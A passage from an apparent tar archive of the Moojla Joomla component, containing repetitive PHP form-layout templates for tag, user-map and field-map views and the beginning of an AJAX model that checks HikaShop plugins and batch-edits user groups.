$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/index.html000064400000000054151165724400011020
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/tag/publishing.php000064400000004357151165724400011712
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/publlshing.php000064400000004357151165724400011715
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'access',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/details_left.php000064400000004275151165724400014070
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'moodletag'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/details_right.php000064400000004301151165724400014241
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'moojlacourse'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/index.html000064400000000054151165724400012704
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/tag_instance/publishing.php000064400000004357151165724400013576
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/publlshing.php000064400000004357151165724400013601
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'access',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/details_left.php000064400000004330151165724400014377
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'juserfields',
'muserfields',
'iscv'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/index.html000064400000000054151165724400013223
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/user_field_map/publishing.php000064400000004357151165724400014115
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_field_map/publlshing.php000064400000004344151165724400014114
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/details_left.php000064400000004317151165724400013241
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_left.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'debug',
'jid',
'userimage'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/details_right.php000064400000004307151165724400013423
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage details_right.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'updatetype',
'mid'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/index.html000064400000000054151165724400012060
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/user_map/publishing.php000064400000004357151165724400012752
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publishing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'title',
'created',
'created_by',
'modified',
'modified_by'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/user_map/publlshing.php000064400000004344151165724400012751
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage publlshing.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// get the form
$form = $displayData->getForm();
// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];
// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
'published',
'ordering',
'version',
'hits',
'id'
);
$hiddenFields = $displayData->get('hidden_fields') ?: array();
?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
<?php if (in_array($field, $hiddenFields)) : ?>
<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
<?php endif; ?>
<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
models/ajax.php000064400000013055151165724400007474 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage ajax.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Ajax Model
*/
class MoojlaModelAjax extends JModelList
{
protected $app_params;
public function __construct()
{
parent::__construct();
// get params
$this->app_params =
JComponentHelper::getParams('com_moojla');
}
// Used in course
/***[JCBGUI.admin_view.php_ajaxmethod.129.$$$$]***/
public function shop_requirement($shop_name)
{
$shop_integration = $shop_name;
$res= [];
if ($shop_integration == 'hk') {
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('extension_id, enabled, name');
$query->from($db->quoteName('#__extensions'));
$query->where('(' .
$db->quoteName('folder') . '=' .
$db->quote('editors-xtd') . ' and ' .
$db->quoteName('element') . '=' .
$db->quote('hikashopproduct') . ') or (' .
$db->quoteName('folder') . '=' .
$db->quote('system') . ' and ' .
$db->quoteName('element') . '=' .
$db->quote('hikashopproductinsert') . ')');
$db->setQuery($query);
$results = $db->loadObjectList('name');
$required_plugins = ['Hikashop product tag insertion
plugin', 'HikaShop product tag translation plugin'];
foreach ($required_plugins as $required_plugin) {
if ($results[$required_plugin]) {
if ($results[$required_plugin]->enabled == 1)
$res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is installed and
enabled', 'class'=>'success'];
else
$res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is installed but not
enabled', 'class'=>'error'];
} else
$res['messages'][]=['message'=>
$results[$required_plugin]->name . ' is not installed',
'class'=>'error'];
}
$res['component']= 'hikashop';
return $res;
}
}/***[/JCBGUI$$$$]***/
// Used in user_map
/***[JCBGUI.admin_view.php_ajaxmethod.130.$$$$]***/
public function userbatch($users, $group, $op)
{
foreach($users as $user)
{
$user = JFactory::getUser(intval($user));
$set_group = array();
foreach($group as $gp)
{
switch($op[0])
{
case 'add':
if(!in_array($gp, $user->groups))
{
$user->groups[] = intval($gp);
}
break;
case 'del':
if (($key = array_search($gp, $user->groups)) !== false) {
unset($user->groups[$key]);
}
break;
case 'set':
if(!in_array($gp, $set_group))
{
$set_group[] = $gp;
}
$user->groups = $set_group;
break;
}
}
$user->save();
}
return array(
'staus' => true
);
// return array(
// 'users' => $users,
// 'group' => $group,
// 'op' => $op,
// );
}/***[/JCBGUI$$$$]***/
// Used in user_field_map
/***[JCBGUI.admin_view.php_ajaxmethod.134.$$$$]***/
public function addMapperRows($ads)
{
JLoader::register('MoojlaModelUser_field_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/user_field_map.php');
JLoader::register('MoojlaModelUser_fields_map',
JPATH_ADMINISTRATOR.'/components/com_moojla/models/user_fields_map.php');
JLoader::register('MoojlaTableUser_field_map',
